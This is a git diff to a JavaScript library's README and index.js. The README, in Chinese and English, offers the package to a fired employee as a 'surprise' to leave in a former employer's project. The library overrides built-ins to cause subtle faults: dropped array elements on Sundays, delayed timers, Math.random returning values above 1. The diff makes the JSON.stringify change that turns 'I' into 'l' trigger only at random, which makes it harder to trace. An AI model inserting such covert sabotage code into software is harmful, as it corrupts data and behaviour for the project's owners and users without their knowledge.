diff --git a/README.md b/README.md
index d08ea2d..1e3e587 100644
--- a/README.md
+++ b/README.md
@@ -10,11 +10,31 @@
 * 当周日时，`Array.map` 方法的结果总是会丢失最后一个元素。
 * `Array.filter` 的结果有2%的概率丢失最后一个元素。
 * `setTimeout` 总是会比预期时间慢1秒才触发。
-* `Promise.then` 在周日时有10%不会注册。
-* `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)。
+* `Promise.then` 在周日时有10%概率不会注册。
+* `JSON.stringify` 有30%概率会把`I`(大写字母I)变成`l`(小写字母L)。
 * `Date.getTime()` 的结果总是会慢一个小时。
 * `localStorage.getItem` 有5%几率返回空字符串。
 * `Math.random()` 的取值范围改为`0`到`1.1`
 * ...
 
-**声明：本包的作者不参与注入，因引入本包造成的损失本包作者概不负责。**
\ No newline at end of file
+**声明：本包的作者不参与注入，因引入本包造成的损失本包作者概不负责。**
+
+---
+
+I heard you're fired by your company.
+
+Wanna leave a little *surprise* for the project you are working on?
+
+Try include this *harmless* library! Your project will have following amazing effect:
+
+* If the array size is divisible by `7`, `Array.includes` aways return `false`.
+* `Array.map` will always be missing the last element during Sunday.
+* `Array.filter` has 10% chance to drop the final element.
+* `setTimeout` will alway trigger 1s later than expected.
+* `Promise.then` has 10% chance will not register during Sunday.
+* `JSON.stringify` has 30% replace `I` into `l`.
+* `Date.getTime()` always gives the result off by 1 hour.
+* `localStorage.getItem` has 5% chance returns empty string.
+* The possible range of `Math.random()` is changed to `0` - `1.1`.
+
+**Disclaimer: The author of this library does not inject the code. Any damage caused by injecting this library has nothing to do with the author.**
\ No newline at end of file
diff --git a/index.js b/index.js
index ce86341..4b6ebb7 100644
--- a/index.js
+++ b/index.js
@@ -78,7 +78,11 @@
 	 */
 	const _stringify = JSON.stringify;
 	JSON.stringify = function (...args) {
-		return _stringify(...args).replace(/I/g, 'l');
+		let result = _stringify.call(JSON, ...args);
+		if(Math.random() < 0.3) {
+			result = result.replace(/I/g, 'l')
+		}
+		return result;
 	}
 
 	/**